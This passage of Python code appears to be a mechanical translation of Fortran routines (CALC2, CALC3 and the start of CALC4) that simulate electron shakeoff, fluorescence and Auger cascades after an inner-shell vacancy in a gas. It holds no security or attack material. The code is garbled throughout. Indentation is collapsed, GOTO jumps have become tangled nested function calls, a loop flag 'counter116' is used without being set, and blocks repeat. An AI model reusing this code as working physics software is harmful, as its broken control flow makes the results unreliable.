SHAKEOFF IDUM=1 if(INIT > 1): ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] INSUM=IONSUM[int(NVAC)] globals().update(locals()) SHAKE(ISHELL,ELECN,KGAS,LGAS,ESHK,IDUM,INSUM,JVAC) # CALCULATE ENERGY OF ELECTRON if(JVAC == 0): pass else: # ELECTRON + SHAKEOFF ELECN=ELECN-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECN IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 # MAXIMUM ION CHARGE STATE =28 if(IONSUM[int(NVAC)]> 28) : print(' 1ST GEN LIMITED TO 28 IN THIS VERSION IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESHK ELEFT=ELEFT-ESHK-ELEV[JVAC][IZ[KGAS,LGAS]] if(ELEFT < 0.0): globals().update(locals()) complete=GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return 1 # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) def GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): UPDATE(KGAS,LGAS,ISHELL) INIT=2 # CHOOSE FLUORESCENCE OR AUGER TRANSITION TSUM=0.0 for I in range(1,17+1): TSUM=TSUM+RADR[int(KGAS)][int(LGAS)][ISHELL][I] for J in range(1,17+1): TSUM=TSUM+AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J] # NO MORE TRANSITIONS POSSIBLE if(TSUM == 0.0): return # NORMALISE TO 1.0 for I in range(1,17+1): RADR[int(KGAS)][int(LGAS)][ISHELL][I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]/TSUM for J in range(1,17+1): AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]/TSUM # CREATE CUMULATIVE SUM ARRAY TEMP[1]=RADR[int(KGAS)][int(LGAS)][ISHELL][1] for I in range(2,17+1): TEMP[I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]+TEMP[I-1] TEMP1[1]=AUGR[int(KGAS)][int(LGAS)][ISHELL][1][1] for I in range(2,17+1): TEMP1[I]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][1]+TEMP1[I-1] for J in range(1,16+1): for I in range(1,17+1): TEMP1[I+(J*17)]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J+1]+TEMP1[I+(J*17)-1] # FIND FLUORESCENCE OR AUGER TRANSITION R1=random.uniform(0.0,1.0) for I in range(1,17+1): if(R1 < TEMP[I]) : # STORE PHOTON ENERGY AND ANGLE : UPDATE NOCC IFLSUM[int(NVAC)]=IFLSUM[int(NVAC)]+1 EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-ELEV[I][IZ[int(KGAS)][int(LGAS)]] ELEFT=ELEFT-EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] if(ELEFT < 0.0): globals().update(locals()) complete=GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return complete # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRX[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.cos(PHI) DRY[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.sin(PHI) DRZ[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 # FIND LOWEST VACANCY globals().update(locals()) VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif globals().update(locals()) GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) globals().update(locals()) return 1 # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) counter116=1 while(counter116): counter116=0 R2=R1-TEMP[17] for J in range(1,17+1): if(counter116): break for I in range(1,17+1): if(R2 < TEMP1[I+((J-1)*17)]) : # AUGER OR COSTER KRONIG # STORE EJECTED ELECTRON AND UPDATE NOCC ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+1])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+1])*0.5 if(ETEMP < 0.0): # DO NOT ALLOW NEGATIVE ENERGY TRANSITIONS counter117=1 while(counter117): counter117=0 R1=random.uniform(0.0,1.0) if(R1 < TEMP[17]): counter117=1 counter116=1 break # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 if(IONSUM[int(NVAC)]> 28) : print(' 2ND GEN IONS LIMITED TO 28 IN THIS VERSION IONSUM=',IONSUM[int(NVAC)]) #34602 sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ETEMP ELEFT=ELEFT-ETEMP if(ELEFT < 0.0): globals().update(locals()) complete=GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return complete # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 NOCC[int(KGAS)][int(LGAS)][J]=NOCC[int(KGAS)][int(LGAS)][J]-1 # FIND LOWEST VACANCY globals().update(locals()) VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif globals().update(locals()) GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif globals().update(locals()) GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) globals().update(locals()) GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print(' ERROR IN CASCADE 1') sys.exit() # end def CALC2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,L1): # IMPLICIT #real*8(A-H,O-Z) # IMPLICIT #integer*8(I-N) # SCR="" # SCR1="" #COMMON/GENCAS/ global ELEV#[17,79] global NSDEG#(17) global AA#[17] global BB#[17] global SCR,SCR1 #COMMON/MIXC/ global PRSH#(6,3,17,17) global ESH#(6,3,17) global AUG#(6,3,17,17,17) global RAD#[6,3,17,17] global PRSHBT#(6,3,17) global IZ#[6,3] global INIOCC#(6,3,17) global ISHLMX#(6,3) global AMZ#[6,3] #COMMON/UPD/ global NOCC#(6,3,17) global AUGR#(6,3,17,17,17) global RADR#(6,3,17,17) #COMMON/CALCAS/ global IONSUM0#(10) global IFLSUM0#(10) global ESTORE0#(10,28) global EPHOTON0#(10,28) global DRXE0#(10,28) global DRYE0#(10,28) global DRZE0#(10,28) global DRX0#(10,28) global DRY0#(10,28) global DRZ0#(10,28) #COMMON/CALCAS1/ global IONSUM#(10) global IFLSUM#(10) global ESTORE#(10,28) global EPHOTON#(10,28) global DRXE#(10,28) global DRYE#(10,28) global DRZE#(10,28) global DRX#(10,28) global DRY#(10,28) global DRZ#[10,28] #DIMENSION TEMP=[0 for x in range(17)] TEMP1=[0 for x in range(289)] # # CALCULATE CASCADE IN GAS KGAS AND MOLECULAR COMPONENT LGAS # WITH INTIAL ENERGY DEPOSIT ELECEN AND SHELL VACANCY CREATED AT ISHELL # ISTART=IONSUM[int(NVAC)] ISTARTF=IFLSUM[int(NVAC)] API=numpy.arccos(-1.00) TWOPI=2.00*API def GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): ELEFT=ELECEN INIT=1 # SET STARTING ARRAY NOCC EQUAL TO INIOCC for I in range(1,17+1): NOCC[int(KGAS)][int(LGAS)][I]=INIOCC[int(KGAS)][int(LGAS)][I] IONSUM[int(NVAC)]=ISTART+1 IFLSUM[int(NVAC)]=ISTARTF # STORE INITIAL PHOTELECTRON AND ANGLE ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECEN-ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]] ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] ELEFT=ELEFT-ELECN NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]-1 # USE PHOTOELECTRON ANGULAR DISTRIBUTION APE=AA[ISHELL] BPE=BB[ISHELL] ANGGEN(APE,BPE,THET) if(THET < 0.0): THET=THET+API R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRCOS(DRX0[int(NVAC)][L1],DRY0[int(NVAC)][L1],DRZ0[int(NVAC)][L1],THET,PHI,DRXX,DRYY,DRZZ) DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRXX DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRYY DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRZZ # LOOP AROUND CASCADE def GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): # CHECK FOR ELECTRON SHAKEOFF IDUM=1 if(INIT > 1): ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] INSUM=IONSUM[int(NVAC)] SHAKE(ISHELL,ELECN,KGAS,LGAS,ESHK,IDUM,INSUM,JVAC) # CALCULATE ENERGY OF ELECTRON if(JVAC == 0): pass else: # ELECTRON + SHAKEOFF ELECN=ELECN-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECN IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 # MAXIMUM ION CHARGE STATE =28 if(IONSUM[int(NVAC)]> 28) : print(' 2ND GEN IONS LIMITED TO 28 IN THIS VERSION IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESHK ELEFT=ELEFT-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) def GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): UPDATE(KGAS,LGAS,ISHELL) INIT=2 # CHOOSE FLUORESCENCE OR AUGER TRANSITION TSUM=0.0 for I in range(1,17+1): TSUM=TSUM+RADR[int(KGAS)][int(LGAS)][ISHELL][I] for J in range(1,17+1): TSUM=TSUM+AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J] # NO MORE TRANSITIONS POSSIBLE if(TSUM == 0.0): return # NORMALISE TO 1.0 for I in range(1,17+1): RADR[int(KGAS)][int(LGAS)][ISHELL][I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]/TSUM for J in range(1,17+1): AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]/TSUM # CREATE CUMULATIVE SUM ARRAY TEMP[1]=RADR[int(KGAS)][int(LGAS)][ISHELL][1] for I in range(2,17+1): TEMP[I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]+TEMP[I-1] TEMP1[1]=AUGR[int(KGAS)][int(LGAS)][ISHELL][1][1] for I in range(2,17+1): TEMP1[I]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][1]+TEMP1[I-1] for J in range(1,16+1): for I in range(1,17+1): TEMP1[I+(J*17)]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][(J+1)]+TEMP1[I+(J*17)-1] # FIND FLUORESCENCE OR AUGER TRANSITION R1=random.uniform(0.0,1.0) for I in range(1,17+1): if(R1 < TEMP[I]) : # STORE PHOTON ENERGY AND UPDATE NOCC IFLSUM[int(NVAC)]=IFLSUM[int(NVAC)]+1 EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-ELEV[I][IZ[int(KGAS)][int(LGAS)]] if(EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] < 0.0): print(' EPHOTON=','%.3f' % EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]],' NVAC=',NVAC,' IN CALC2') ELEFT=ELEFT-EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRX[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.cos(PHI) DRY[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.sin(PHI) DRZ[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) counter116 while(counter116): counter116=0 R2=R1-TEMP[17] for J in range(1,17+1): if(counter116): break for I in range(1,17+1): if(R2 < TEMP1[I+((J-1)*17)]) : # AUGER OR COSTER KRONIG # STORE EJECTED ELECTRON AND UPDATE NOCC ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+1])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+1])*0.5 if(ETEMP < 0.0): # DO NOT ALLOW NEGATIVE ENERGY TRANSITIONS counter117=1 while(counter117): counter117=0 R1=random.uniform(0.0,1.0) if(R1 < TEMP[17]): counter117=1 counter116=1 #34598 break # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 if(IONSUM[int(NVAC)]> 28) : print(' 2ND GEN IONS LIMITED TO 28 IN THIS VERSION IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ETEMP ELEFT=ELEFT-ETEMP if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 NOCC[int(KGAS)][int(LGAS)][J]=NOCC[int(KGAS)][int(LGAS)][J]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print(' ERROR IN CASCADE 2') sys.exit() # end def CALC3(NVAC,KGAS,LGAS,ELECEN,ISHELL,L1): # IMPLICIT #real*8(A-H,O-Z) # IMPLICIT #integer*8(I-N) #CHARACTER*6 # SCR="", # SCR1="" #COMMON/GENCAS/ global ELEV#[17,79] global NSDEG#[17] global AA#[17] global BB#[17] global SCR,SCR1 #COMMON/MIXC/ global PRSH#(6,3,17,17) global ESH#(6,3,17) global AUG#(6,3,17,17,17) global RAD#[6,3,17,17] global PRSHBT#(6,3,17) global IZ#[6,3] global INIOCC#(6,3,17) global ISHLMX#(6,3) global AMZ#[6,3] #COMMON/UPD/ global NOCC#(6,3,17) global AUGR#(6,3,17,17,17) global RADR#(6,3,17,17) #COMMON/CALCAS2/ global IONSUM0#(10) global IFLSUM0#(10) global ESTORE0#(10,28) global EPHOTON0#(10,28) global DRXE0#(10,28) global DRYE0#(10,28) global DRZE0#(10,28) global DRX0#(10,28) global DRY0#(10,28) global DRZ0#(10,28) #COMMON/CALCAS3/ global IONSUM#(10) global IFLSUM#(10) global ESTORE#(10,28) global EPHOTON#(10,28) global DRXE#(10,28) global DRYE#(10,28) global DRZE#(10,28) global DRX#(10,28) global DRY#(10,28) global DRZ#[10,28] TEMP=[0 for x in range(18)] TEMP1=[0 for x in range(289)] # # CALCULATE CASCADE IN GAS KGAS AND MOLECULAR COMPONENT LGAS # WITH INTIAL ENERGY DEPOSIT ELECEN AND SHELL VACANCY CREATED AT ISHELL # ISTART=IONSUM[int(NVAC)] ISTARTF=IFLSUM[int(NVAC)] API=numpy.arccos(-1.00) TWOPI=2.00*API def GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): ELEFT=ELECEN INIT=1 # SET STARTING ARRAY NOCC EQUAL TO INIOCC for I in range(1,17+1): NOCC[int(KGAS)][int(LGAS)][I]=INIOCC[int(KGAS)][int(LGAS)][I] IONSUM[int(NVAC)]=ISTART+1 IFLSUM[int(NVAC)]=ISTARTF # STORE PHOTOELECTRON ENERGY AND ANGLE ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECEN-ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]] ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] ELEFT=ELEFT-ELECN NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]-1 # USE PHOTOELECTRON ANGULAR DISTRIBUTION APE=AA[ISHELL] BPE=BB[ISHELL] ANGGEN(APE,BPE,THET) if(THET < 0.0): THET=THET+API R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRCOS(DRX0[int(NVAC)][L1],DRY0[int(NVAC)][L1],DRZ0[int(NVAC)][L1],THET,PHI,DRXX,DRYY,DRZZ) DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRXX DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRYY DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRZZ # LOOP AROUND CASCADE def GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): # CHECK FOR ELECTRON SHAKEOFF IDUM=1 if(INIT > 1): ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] INSUM=IONSUM[int(NVAC)] SHAKE(ISHELL,ELECN,KGAS,LGAS,ESHK,IDUM,INSUM,JVAC) # CALCULATE ENERGY OF ELECTRON if(JVAC == 0): GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # ELECTRON + SHAKEOFF ELECN=ELECN-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECN IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 # MAXIMUM ION CHARGE STATE =28 if(IONSUM[int(NVAC)]> 28) : print(' 3RD GEN ION CHARGE LIMITED TO 28 IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESHK ELEFT=ELEFT-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION ANGLE R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) def GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): UPDATE(KGAS,LGAS,ISHELL) INIT=2 # CHOOSE FLUORESCENCE OR AUGER TRANSITION TSUM=0.0 for I in range(1,17+1): TSUM=TSUM+RADR[int(KGAS)][int(LGAS)][ISHELL][I] for J in range(1,17+1): TSUM=TSUM+AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J] # NO MORE TRANSITIONS POSSIBLE if(TSUM == 0.0): return # NORMALISE TO 1.0 for I in range(1,17+1): RADR[int(KGAS)][int(LGAS)][ISHELL][I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]/TSUM for J in range(1,17+1): AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]/TSUM # CREATE CUMULATIVE SUM ARRAY TEMP[1]=RADR[int(KGAS)][int(LGAS)][ISHELL][1] for I in range(2,17+1): TEMP[I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]+TEMP[I-1] TEMP1[1]=AUGR[int(KGAS)][int(LGAS)][ISHELL][1][1] for I in range(2,17+1): TEMP1[I]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][1]+TEMP1[I-1] for J in range(1,16+1): for I in range(1,17+1): TEMP1[I+(J*17)]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][(J+1)]+TEMP1[I+(J*17)-1] # FIND FLUORESCENCE OR AUGER TRANSITION R1=random.uniform(0.0,1.0) for I in range(1,17+1): if(R1 < TEMP[I]) : # STORE PHOTON ENERGY AND UPDATE NOCC IFLSUM[int(NVAC)]=IFLSUM[int(NVAC)]+1 EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-ELEV[I][IZ[int(KGAS)][int(LGAS)]] ELEFT=ELEFT-EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRX[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.cos(PHI) DRY[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.sin(PHI) DRZ[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) counter116=1 while(counter116): counter116=0 R2=R1-TEMP[17] for J in range(1,17+1): if(counter116): break for I in range(1,17+1): if(R2 < TEMP1[I+((J-1)*17)]) : # AUGER OR COSTER KRONIG # STORE EJECTED ELECTRON AND UPDATE NOCC ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+1])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+1])*0.5 if(ETEMP < 0.0): # DO NOT ALLOW NEGATIVE ENERGY TRANSITIONS counter117=1 while(counter117): counter117=0 R1=random.uniform(0.0,1.0) if(R1 < TEMP[17]): counter117=1 counter116=1 break # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 if(IONSUM[int(NVAC)]> 28) : print(' 3RD GEN ION CHARGE LIMITED TO 28 IONSUM=', IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ETEMP ELEFT=ELEFT-ETEMP if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 NOCC[int(KGAS)][int(LGAS)][J]=NOCC[int(KGAS)][int(LGAS)][J]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print(' ERROR IN CASCADE 3') sys.exit() # end def CALC4(NVAC,KGAS,LGAS,ELECEN,ISHELL,L1): # IMPLICIT #real*8(A-H,O-Z) # IMPLICIT #integer*8(I-N) # SCR=""\nSCR1="" # COMMON/GENCAS/ELEV[17,79],NSDEG(17),AA[17],BB[17],SCR,SCR1 # COMMON/MIXC/PRSH(6,3,17,17),ESH(6,3,17),AUG(6,3,17,17,17),RAD[6,3,17,17],PRSHBT(6,3,17),IZ[6,3],INIOCC(6,3,17),ISHLMX(6,3),AMZ[6,3] # COMMON/UPD/NOCC(6,3,17),AUGR(6,3,17,17,17),RADR(6,3,17,17) # COMMON/CALCAS3/IONSUM0(10),IFLSUM0(10),ESTORE0(10,28),EPHOTON0(10,28),DRXE0(10,28),DRYE0(10,28),DRZE0(10,28),DRX0(10,28),DRY0(10,28),DRZ0(10,28) # COMMON/CALCAS4/IONSUM(10),IFLSUM(10),ESTORE(10,28),EPHOTON(10,28),DRXE(10,28),DRYE(10,28),DRZE(10,28),DRX(10,28),DRY(10,28),DRZ[10,28] # DIMENSION TEMP[17],TEMP1(289) #COMMON/GENCAS/ global ELEV#[17,79] global NSDEG#[17] global AA#[17] global BB#[17] global SCR,SCR1 #COMMON/MIXC/ global PRSH#(6,3,17,17) global ESH#(6,3,17) global AUG#(6,3,17,17,17) global RAD#[6,3,17,17] global PRSHBT#(6,3,17) global IZ#[6,3] global INIOCC#(6,3,17) global ISHLMX#(6,3) global AMZ#[6,3] #COMMON/UPD/ global NOCC#(6,3,17) global AUGR#(6,3,17,17,17) global RADR#(6,3,17,17) #COMMON/CALCAS3/ global IONSUM#(10) global IFLSUM#(10) global ESTORE#(10,28) global EPHOTON#(10,28) global DRXE#(10,28) global DRYE#(10,28) global DRZE#(10,28) global DRX#(10,28) global DRY#(10,28) global DRZ#[10,28] # COMMON/CALCAS4/ global IONSUM#(10] global IFLSUM#(10] global ESTORE#(10,28] global EPHOTON#(10,28] global DRXE#(10,28] global DRYE#(10,28] global DRZE#(10,28] global 